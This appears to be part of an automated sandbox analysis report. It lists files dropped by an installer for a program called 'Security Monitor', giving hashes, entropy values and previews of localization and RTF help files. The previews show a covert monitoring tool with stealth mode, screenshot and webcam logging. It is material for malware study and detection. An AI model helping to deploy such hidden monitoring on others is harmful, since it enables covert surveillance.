C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-IM23K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19915
Entropy (8bit):	4.91205436276521
Encrypted:	false
SSDEEP:	384:URE/HLpJKNLC8/c0vrhUhdpZ/i7fTfHV8Vpx+M26iYi/pVF8g2EM2luoEJroH:Ue4L5c0dffTfHV8Vpx126PGcIMoH
MD5:	86FB78830003953DE6F23C5978938899
SHA1:	CD181B6DD4049697DD2E824DCABB57D9B21CCE0A
SHA-256:	0E132271314F42D37505EA9844E8EE102B9A0FC65946852BE8150CD088BB8357
SHA-512:	8862242298848BF0096B63F5F0FDDC70C446239910DD16F7B5AB604414CB6D10DFB636A7BC7AD1D66F33B6D88DCC08EE95F0B0B04E686E74E68FFBF9EC70C47A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart=" Empec."..tbStartHint="Habilite el registro"..tbStop="Det.ngase"..tbStopHint="Desactive el registro"..tbFind="Encuentre"..tbFindHint="Busque la informaci.n del registro"..tbSetting="Ajustes"..tbSettingHint="Ajustes del programa"..tbAbout="Acerca de"..tbAboutHint="Acerca de / informaci.n de registro"..tbHomePage="P.gina Principal"..tbHomePageHint="Ir a la P.gina Principal del programa"..tbToday="Hoy"..tbTodayHint="Ir al registro de hoy"..tbHide="Oculte"..tbHideHint="El modo invisible (ninguno icono en la bandeja del sistema)"..tbMinimize="Minimice"..tbMinimizeHint="Minimizar a la bandeja"..tbExit="Salir"..tbExitHint="Salir y parada del registro"..gbLog="Registro de eventos"..tCurrLogSize="Tama.o del registro (Mb)"..tCu

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-M3COJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	21327
Entropy (8bit):	4.95775402864365
Encrypted:	false
SSDEEP:	384:UyK3wUGkRqqS7M2IgCEAIAiIYNwCPjuPTyySHaNM7lcomkn3J:UhgqSUdEpNw+jMTHS6eJ
MD5:	C61869FD95FCAA4887007EE40C1AEF78
SHA1:	5B2E9E425C48F37A3C6F2AFCFD35569BE240FB0C
SHA-256:	4EBE5322D84F71C59E806B8BD29D3C53D3FDA1C82238084FBAA8852DE668E14E
SHA-512:	815D5C77AF6F439D5FD3C254B6F1957537A30507D4BB40CB5ADB6FDC817D2389BD5B8D69F7AE67AF87C1F42B7A5799E0F82A0A3A0C543CFF46E72B74D867F9A8
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="..."..tbStartHint="..... ......."..tbStop="...."..tbStopHint="..... ......."..tbFind="....."..tbFindHint="..... .. ....... ......."..tbSetting="........."..tbSettingHint="....... ........"..tbAbout="..."..tbAboutHint=".../...... ......."..tbHomePage="...... ........"..tbHomePageHint="...... ... ...... ........"..tbToday="....."...tbTodayHint="...... ... ... ....."..tbHide="....."..tbHideHint="..... ..... (.. .... ... .. .... ......)"..tbMinimize="....."..tbMinimizeHint="..... ... ......"..tbExit="...."..tbExitH

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-NU6LJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20198
Entropy (8bit):	5.546409615191028
Encrypted:	false
SSDEEP:	384:UZbTxZJZoqbCXEgYNOZFnXzLlWQIrNacguCX:UBsFXz5W1NaOCX
MD5:	CBEC3F081899B6B55B280D8F3DD4B3D2
SHA1:	F340F12DD49A6F6D2E20999788430A6951E7950B
SHA-256:	95C2CF8B3687D4EE57D51E982684660264A443D0AE516F6144728AC0C77FFCE4
SHA-512:	F4C7027A5BEDBC2F6E44DA52F59B35FAC8A3657DB9796F9B8BE4B660D25083544597ED525EEADD2B9373325E3E6FD83BD9736BAA8E50187F5F8CCFF989D6A140
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="...."..tbStartHint=".........."..tbStop="...."..tbStopHint=".........."..tbFind="...."..tbFindHint="........."..tbSetting=".."..tbSettingHint="........"..tbAbout="...."..tbAboutHint=".... /...."..tbHomePage="......"..tbHomePageHint="................"..tbToday=".."..tbTodayHint="........"..tbHide=".."..tbHideHint="....... (..................)"..tbMinimize="....."..tbMinimizeHint="........."..tbExit=".."..tbExitHint=".........."..gbLog=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-PNRTI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19350
Entropy (8bit):	4.977328299832863
Encrypted:	false
SSDEEP:	192:UfZj6oFtyWJJJuou35vzX6FcNnAy9+1C9ou8drw+MjKcEdQAi2jC+WUH:UfZj6oFtyWXRybX6Ad4C9q+pEdbvXx
MD5:	05104FA93BC4180DCD6752F77382F263
SHA1:	2A83710D4B63BF666D681D3F5E9C21324EB2581C
SHA-256:	A2150D0BBC660122C1C183FCA420CFAAE7539956F20BA135DEC4655B3B212A6E
SHA-512:	54ACDEAB94D389256C90FFB31934AE0182D7CB4F644CA671EE5F9599697357244B7F2F9CEA33D3CBE70463615389BF02E148818F99E9513DAF9A4D44B05913CD
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="In.cio"..tbStartHint="Habilitar registro"..tbStop="Parar"..tbStopHint="Desabilitar registro"..tbFind="Buscar"..tbFindHint="Procurar por informa..o de registro"..tbSetting="Configura..es"..tbSettingHint=" Configura..es de programa"..tbAbout="Sobre"..tbAboutHint="Sobre / informa..es de registro"..tbHomePage="P.gina Inicial"..tbHomePageHint="Ir para a P.gina Inicial do Programa"..tbToday="Hoje"..tbTodayHint="Ir para o registro de hoje"..tbHide="Ocultar"..tbHideHint="Modo Furtivo (nenhum .cone na Bandeja do Sistema)"..tbMinimize="Minimizar"..tbMinimizeHint="Minimizar Bandeja"..tbExit="Sair"..tbExitHint="Sair e parar o registro"..gbLog="Registro de Eventos"..tCurrLogSize="Tamanho do Log - Registro (Mb)"..tCurrScrSize=

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-SKTI0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	17081
Entropy (8bit):	5.237330658373566
Encrypted:	false
SSDEEP:	384:fd+wUQhflYfUg7EXwoXy5Pt/5k9bS+RnNMvjxYay:fVli88Pt/ObVNsxYay
MD5:	665E034C26764DC99A3E8C8A9EDC54BB
SHA1:	4CBF034140A28CF6BBF436C13D718E588DCA20BD
SHA-256:	4E8BBFDEFB2414F62B84AB41831EBAC15E8D5571022B14FF697C6788D0A73068
SHA-512:	DE73A62A6930B91563D67DC38F14549269285A75E9B0C36285E455AE85D4A2FD423CCBE0095A489AC795EB6D97210CE2FCEC25322CF6A1EDDD5EB9A2085741A2
Malicious:	false
Reputation:	unknown
Preview:	[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Ba.la"..tbStartHint="G.nl.k tutmay. a."..tbStop="Durdur"..tbStopHint="G.nl.k tutmay. kapat"..tbFind="Bul"..tbFindHint="G.nl.k bilgisi ara"..tbSetting="Ayarlar"..tbSettingHint="Program ayarlar."..tbAbout="Hakk.nda"..tbAboutHint="Hakk.nda / kay.t bilgisi"..tbHomePage="Ana Sayfa"..tbHomePageHint="Program.n Ana Sayfas.na Git"..tbToday="Bug.n"..tbTodayHint="Bug.n.n g.nl...ne git"..tbHide="Gizle"..tbHideHint="Gizlilik modu (Sistem .ubu.unda hi. simge yok)"..tbMinimize="K...lt"..tbMinimizeHint="Simge Durumuna K...lt"..tbExit="..k"..tbExitHint="..k ve g.nl... durdur"..gbLog="Olay G.nl..."..tCurrLogSize="G.nl.k Boyutu (Mb)"..tCurrScrSize="Ekran Resmi Boyutu (Mb)"..tCurrSnpSize="Web Kameras.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\is-SN766.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	27393
Entropy (8bit):	5.064150437041318
Encrypted:	false
SSDEEP:	768:lBliK0GRTzXqMKGCYv/DOo8eKjHHhSvMonfGQ3R:8KLTz/4WCo8eaHhW7n+QB
MD5:	9087FB9892DDAA830650011299AF2670
SHA1:	FF023B1F38F5B7D093C4F2AAB3470B1575BFA806
SHA-256:	969FC0043D05C76A4FBD148A0087DB9768B62D1DA17212D11A50F0A4A77CCBFC
SHA-512:	D0A9F5FFA8752A01F04B2B61024575E270D53FF5D30180EB4C3FC70C2A5A3D7A794DBE7B596CEC08E0554514D4113C2EC218B3C6533F0B3B952148C46DB8781A
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..##############################################################################..# ........! .. ....... ........ ..... ..... .. ..... "="!..##############################################################################..tbStart="....."..tbStartHint="...... ...... ......."..tbStop="...."..tbStopHint="......... ...... ......."..tbFind="....."..tbFindHint="..... .......... . ...."..tbSetting="........."..tbSettingHint="......... ........."..tbAbout=". ......"..tbAboutHint=". ......... / ............... .........."..tbHomePage=".. ...."..tbHomePageHint="....... ........ ........ ........."..tbToday="......."..tbTodayHint="....... . ............ ...."..tbHide="......"..tbHideHint="......... ..... (... ..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	12536
Entropy (8bit):	4.8846461435532245
Encrypted:	false
SSDEEP:	384:UCTESqmmj063sRDYVLf0Xj/KgqYFP6ez7zUc4:UMmj93sRD80zDt4
MD5:	772446C6263F1055F474A1AE2EFF7A11
SHA1:	E3C521C7105C860D8139030D2363647821E593D7
SHA-256:	E346F5CE552A3E5216E2826D86C64135372B51EA74BF4DE468C442A43B1F3E63
SHA-512:	FCD7A0EB648B02F9FED9F50078A197EE4C6BC1451AF6CFDD5A0376B42EA2F448B2D9C09560ACFDAA959707762F2E36470C470D33C10290274BC04BF58B15B2BE
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Abilita logging"..tbStop="Stop"..tbStopHint="Disabilita logging"..tbFind="Trova"..tbFindHint="Cerca informazioni di log"..tbSetting="Impostazioni"..tbSettingHint="Impostazioni programma"..tbAbout="Circa"..tbAboutHint="Circa / informazioni di registrazione"..tbHomePage="Home Page"..tbHomePageHint="Vai alla Home Page del programma"..tbToday="Oggi"..tbTodayHint="Vai al log di oggi"..tbHide="Nascondi"..tbHideHint="Modalit. Stealth (nessuna icona nella barra delle applicazioni)"..tbMinimize="Minimizza"..tbMinimizeHint="Minimizza nel Tray"..tbExit="Esci"..tbExitHint="Esci e ferma il log"..gbLog="Log Eventi"..tCurrLogSize="Dimensioni correnti Log (Mb)"..tCurrScrSize="Dimensioni correnti Screenshot (Mb)"..tMaxL

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10431
Entropy (8bit):	4.953862205312216
Encrypted:	false
SSDEEP:	192:su79jU9jV9jW9ju9j89jM9j39jO9jR6z6C6D6E6f6E6O6Y6Y222K2a2O2G2y2E2S:X9jU9jV9jW9ju9j89jM9j39jO9jR6z6o
MD5:	F253166C14180CDA4CF3682EBDA81E10
SHA1:	42CB7285AE2A1D8FFFBDB8E92DD762F116E6E5E7
SHA-256:	21604302E29A98F4F73EB4DD22C1B3FD52840C05B9438769E8568E69A2AD6890
SHA-512:	26EF9FFCDBE8D66B92954FA2DC046B7049B772B789BD4192D62CCDEA211D613413B241E1527396FCCF6087B041A526641C9D12F5C29810637C42AFF812A15061
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7403
Entropy (8bit):	4.92938927718366
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2tuADuEXu6mp49T20l49D7D7DP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yx
MD5:	3D3D6A046CC73D49EA8D98E66103EBC5
SHA1:	3F3F6AD63BEE3F893EE2F57AF6D261AFD0A8C639
SHA-256:	344EBAAFF1EC7B1BF2A627DD9A5F1B0D3C5D968F23ADA7D6A7175767B29AF483
SHA-512:	405236F4E6F223EFD593A22047B79156ED9695DDE0EB4BB4261891375C3FE586251AD3E9EE9EDF914AC02AB7C51887F16A5897915B0BEE8CC708CF6B116D9342
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	6776
Entropy (8bit):	4.952214417097897
Encrypted:	false
SSDEEP:	192:su76z6C6D6E6f6E6O6Y6K222K2a2O2G2y2E2+2PuADGE7lqWiNBXa98XP00PDDP:X6z6C6D6E6f6E6O6Y6K222K2a2O2G2yp
MD5:	1BD6D948821BAAD56E7BD929CE99BC3E
SHA1:	87753F34928DF1FDCE8D2AE17A734E2D032B7392
SHA-256:	179807CC391D4A379560F1E9119C44DBD0F8BABD7C9581758DDFD2C24D15CCA5
SHA-512:	CD8934815BBF3C6AA344CEDCA40732E4428DECC0F122F124B3AECD1720BA89A7D5A9BA0EE8AE4675C57C56B3ABFC44BB2AF2A868111ED7D23D156BCEAF0D6ADF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f8\fnil\fprq2\fcharset128 Lohit Hindi;}{\f9\fnil\fprq0\fcharset128 Lohit Hindi;}{\f10\fnil\fprq2\fcharset128 Arial;}{\f11\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af7\langfe2052\dbch\af8\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af7\dbch\af8\afs28\loch\f4\fs28 Intestazione;}.{\s16\sbasedon0\snext16\sb0\sa120 Corpo testo;}.{\s17\sbasedon16\snext17\sb0\sa120\dbch\af9 Elenco;}.{\s18\

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	37355
Entropy (8bit):	5.0224273603988925
Encrypted:	false
SSDEEP:	768:2rF4DO6zLpzBMRQ1W7MiynhCGm7aVZ/6A9a:2raD7IA9a
MD5:	72215D6BB69B80AD421E5FBEC9CEE983
SHA1:	4DC407E1BF25A18F3C9B2F2E94440D3A0AC505D8
SHA-256:	0B1A02997F8DC944153BBEA47C302C3A155B1363A2A4F6A23218EB1BA9D1ACD8
SHA-512:	D1F1409D1E0946F84F3D3D3FBBB90BB23195A84402E0DA16A102C62E1198F28AB80046E805A3B4CAAD0B61039E07B57350133F1E0DCB3142A0B2487F1F1174B4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt Times New Roman};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}Lohit Hindi{\\falt MS Mincho};}{\f315\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}@WenQuanYi Micro Hei;}..{\f316\fbidi \froman\fcharset128\fprq2{\*\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	76355
Entropy (8bit):	4.982630349215747
Encrypted:	false
SSDEEP:	768:KewXZEMuTyIT+TWkN+3vMHRYRv0lTiHRYRv0lTiHRYRv0lHiHRYRv0leUE/lLr/6:KeMEZgIA9C
MD5:	0DD30E30324435D32C3336875F79F308
SHA1:	6F38100EBA73AAD482B1B290FF5C21DD0C3AA692
SHA-256:	D9939A99B67D9267B439373CC44EE14A10432AF1BB3AEB6EBBDDE1839EDCBD99
SHA-512:	62513A5EDAF36F0D69A9519F74795659493A1B0C9B9E662D0AF4C15A7F68043F6C3A2F9231D9C949572D787524448C8F31B4A6AE9D242FB28758BA084C3B9545
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch11\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\\panose 02020609040205080304}MS Mincho{\\falt ?l?r ??\'81\'66c};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \froman\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Serif{\\falt MS PMincho};}..{\f40\fbidi \fswiss\fcharset128\fprq2{\\panose 00000000000000000000}Liberation Sans{\\falt Arial};}{\f41\fbidi \fnil\fcharset128\fprq2{\\panose 00000000000000000000}WenQuanYi Micro Hei{\\falt MS Mincho};}..{\f42\fbidi \fnil\fcharset128\fprq2{\*\panose 00000000000000000000

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-10ULP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	7884
Entropy (8bit):	4.965317939103163
Encrypted:	false
SSDEEP:	192:zersYRcg17pzo2uz1FwLcxwSwbzUPhjNAqecUAySMnuturWGi:ZYf7doz1FwLcxwSwnUPhxAqecUAyLuIA
MD5:	83F331C3191915043D3C1F96D04AD2AA
SHA1:	1F5A281457AD229178ADFE68E6ED3C407DD15BA5
SHA-256:	864E70E0CBF1CBB5EF7B65EC5A90D617D299A0C896E17EA6C973BF5D0F44ADA0
SHA-512:	C047F469B1A5BF82D88443D33B1B26AA30B4CB1E5C8A515119B5D62B3D98C4761830761D0813994DAA9BDE86BB7F73ABF47ADDE25A74D6FCEA05D5F0E0E779B6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq2\fcharset128 Arial;}{\f6\froman\fprq0\fcharset128 Arial;}{\f7\froman\fprq2\fcharset128 Times New Roman;}{\f8\froman\fprq0\fcharset128 Times New Roman;}{\f9\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f10\fnil\fprq2\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Lohit Hindi;}{\f12\fnil\fprq2\fcharset128 Arial;}{\f13\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af9\langfe2052\dbch\af10\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s15\sbasedon0\snext16\sb240\sa120\keepn\hich\af9\dbch\af10\afs28\loch\f4\fs28 Intestazione;}.{\s16\sba

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-6B6HR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	11086
Entropy (8bit):	4.962530121956413
Encrypted:	false
SSDEEP:	192:R2KwSyFd222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jl9ju9jV9j19j/9jX9C:Mrpd222K2a2O2G2y2E2+2L6z6C6D6E6h
MD5:	74D21CC581EFD9F3D31C02D2AD6A7881
SHA1:	701EEEA34850D7EE69EFF56E2344A79A7EAD147E
SHA-256:	9F632C17885E51A74C7875780F422952F1BC64DB978D8EBA765251F692C603E3
SHA-512:	97EC2913358966E62D5D69BD63D0D3C378457BE371702957F25358BAB2DD1C514F92AF769C4FA1A1A4CD3B23F1F7C0358E7B838CC80163CF78775634D4CAC8A4
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\ansi\deff3\adeflang1025.{\fonttbl{\f0\froman\fprq2\fcharset0 Times New Roman;}{\f1\froman\fprq2\fcharset2 Symbol;}{\f2\fswiss\fprq2\fcharset0 Arial;}{\f3\froman\fprq2\fcharset128 Liberation Serif{\\falt Times New Roman};}{\f4\fswiss\fprq2\fcharset128 Liberation Sans{\\falt Arial};}{\f5\froman\fprq0\fcharset128 Tahoma;}{\f6\froman\fprq2\fcharset128 Arial;}{\f7\froman\fprq0\fcharset128 Arial;}{\f8\fnil\fprq2\fcharset128 WenQuanYi Micro Hei;}{\f9\fnil\fprq2\fcharset128 Lohit Hindi;}{\f10\fnil\fprq0\fcharset128 Lohit Hindi;}{\f11\fnil\fprq0\fcharset128 Times New Roman;}{\f12\fnil\fprq0\fcharset128 Courier New Baltic;}{\f13\fnil\fprq2\fcharset128 Arial;}{\f14\fnil\fprq0\fcharset128 Arial;}}.{\colortbl;\red0\green0\blue0;\red128\green128\blue128;}.{\stylesheet{\s0\snext0\nowidctlpar{\*\hyphen2\hyphlead2\hyphtrail2\hyphmax0}\cf0\kerning1\hich\af8\langfe2052\dbch\af9\afs24\alang1081\loch\f3\fs24\lang1040 Predefinito;}.{\s2\sbasedon15\snext16\ilvl1\outlinelevel1\ql\widctlpar\faauto\li0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\italian\is-6INJ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, default middle east language ID 1025
Category:	dropped
Size (bytes):	10229
Entropy (8bit):	4.949701462728225
Encrypted:	false
SSDEEP:	192:6L1GSkFI222K2a2O2G2y2E2+2L6z6C6D6E6f6E6O6Y6Y9jn9js9j39jX9jR9jp9z:0sFI222K2a2O2G2y2E2+2L6z6C6D6E6o
MD5:	328B6D1A72880E42399A6A9FAAE89707
SHA1:	B90F232CBADDD083D3E72EED57B362DBB5BB6B89
SHA-256:	731252A5DD9F5F1D6BAF95F06B86795064735EF2EDB2A7B0A0400535B28FB1C2
SHA-512:	70D96DB14DF3EA083AF7512998DBD565CD5DDEFDA0CB61A3378B9563642CB5FACD4D80A70763A454BE7B7BF4AA28A60C9B31AF7916066C9E56C5DB1A6F3D93D8
Malicious:	false
Reputation:	unknown
